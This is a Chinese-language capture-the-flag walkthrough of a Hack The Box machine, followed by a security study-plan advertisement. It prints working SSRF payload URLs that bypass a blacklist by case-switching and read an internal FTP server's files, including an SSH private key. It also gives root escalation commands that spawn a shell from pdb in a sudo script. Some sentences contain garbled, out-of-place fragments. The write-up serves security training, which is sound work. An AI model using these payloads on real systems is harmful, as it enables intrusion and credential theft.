我使用netcat在端口80上设置了一个窃听器,输入使用我的HTB隧洞IP。(如图4.4所示)
图4.4设置htb隧洞地址
在我的netcat窃听器上,我可以听到妄图获取shell.php的网站。这儿有一些须要注意的内容:
·服务器企图从我的IP中获取指定的文件shell.php
·请求在主机头中了我的IP
·用户代理是python-requests,这是一个python爬虫(如图4.5所示)
图4.5设置窃听回调访问网站内容
0x05漏洞借助
如今服务器早已完善,服务器企图获取远程文件,我们可以从这儿开始渗透。我的第一个看法是使用此远程URL功能访问admin.forge.htb,由于该页面只容许localhost访问。通过访问我们发觉了一个新问题。(如图5.1所示)
图5.1访问admin子域严禁黑名单
这个地址被纳入黑名单。让我们瞧瞧是否可以在所有小写字母(ADMIN.forge.htb)中键入子域“admin”来绕开这一点,这个也是渗透测试中经常绕开waf的方法,尤其是注入、xss等类型的漏洞。通过转换大小写看上去我们如今可以访问admin.forge.htb这个应用网站。这个漏洞被称为SSRF(服务器端恳求伪造),功击者才能篡改服务器上的前端恳求,并突破各类访问控制(如这儿的本地主机),以访问敏感文件,甚至获得远程shell。(如图5.2所示)
图5.2通过大小写绕开本地访问策略
这告诉我一个页面/公告,之后我企图使用访问该页面/公告,但这也被纳入黑名单。所以,我使用了这个有效荷载:
http://ADMIN.FORGE.htb/announcements curl http://forge.htb/uploads/ps14SjF8useIEk0VOao1
从这一结果中推论出的重要关键点如下:
·内部FTP服务器正在运行linux解压rar,其凭据为用户:heightofsecurity123!
·上传文件选项支持FTP和FTPS
·?u=可用于在/uploads页面上上传图象。(如图5.3所示)
图5.3发觉ftp服务器登入帐号密码
为此,假如/上传形式支持通过URL和FTP合同进行包含,我们可以借助SSRF并访问内部FTP服务器!我使用的有效荷载是(如图5.4所示)
http://ADMIN.FORGE.htb/upload?u=ftp://user:heightofsecurity123!@127.0.1.1/
图5.4登陆ftp服务器查看文件列表
如今,假如我能访问user.txtlinux获取渗透文件,可能也可以访问私有SSH秘钥。我使用这个有效荷载做到了这一点:(如图5.5所示)
http://ADMIN.FORGE.htb/upload?u=ftp://user:heightofsecurity123!@127.0.1.1/.ssh/id_rsa
图5.5查看ssh的id_rsa秘钥
将该秘钥保存在我的本地系统中,我们可以登入被害者框。(如图5.6所示)
nano id_rsa chmod 600 id_rsa ssh -i id_rsa user@forge.htb
图5.6ssh登陆服务器
0x06特权升级
如今我们有了一个稳定的用户shell,我们可以持续权限提高。我检测了sudoers文件,该文件有一个python脚本可以作为root运行。此脚本打开了一个窃听器,供远程顾客端联接。据悉,它将输入密码与硬编码的凭据secretadminpassword进行比较(如图6.1所示)
sudo -l
cat /opt/remote-manage.py
图6.1发觉配置文件帐号密码
让我们这样做,之后从另一个终端再度登陆此用户,并使用netcat联接到脚本。(如图6.2所示)
sudo /usr/bin/python3 /opt/remote-manage.py
nc localhost 55465
图6.2打开另外一个终端联接服务器
如今,我正在有效地与一个root运行的python脚本进行通讯。你会注意到这个脚本还有缺陷。假如我输入“秘密管理员密码”以外的任何内容,它都会抛出异常并打开Python调试器。(如图6.3所示)
图6.3python导出os模块
如今,我们有一个Python调试器(pdb)作为root运行。假如这个缺陷不存在,我们会使用缓冲区溢出功击步入调试器。无论怎样,我们可以使用调试器作为root执行任何功能。我在这儿使用了gtfobins使用的技术。只需使用os模块调用shell。这就是我们在这个渗透袋子的root权限。
(如图6.4所示)
import os;os.system(“/bin/sh”) id cat /root/root.txt
图6.4提高权限为root用户
0x07推论
这个渗透测试靶场虚拟中linux获取渗透文件,我们囊括了子域枚举、SSRF和基本的Python逆向工程。希望你喜欢这篇文章。
本系列打算开启国内外安全靶场渗透测试系列也欢迎你们投稿包括但不限于VulnStack、Vulnhub、HTB、自行搭建系列靶场。通过靶场快速率领你们学习红队各系列知识。
最后
分享一个快速学习【网络安全】的方式linux重启命令,「也许是」最全面的学习方式:
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网路安全相关法律法规。
③网络安全营运的概念。
④等保简介、等保规定、流程和规范。(特别重要)
2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息搜集技术:主动/被动信息收集、Nmap工具、GoogleHacking
③漏洞扫描、漏洞借助、原理,借助方式、工具(MSF)、绕过IDS和反病毒侦察
④主机攻守演习:MS17-010、MS08-067、MS10-046、MS12-20等
3、操作系统基础(一周)
①Windows系统常见功能和命令
②KaliLinux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)
4、计算机网路基础(一周)
①计算机网路基础、协议和构架
②网络通讯原理、OSI模型、数据转发流程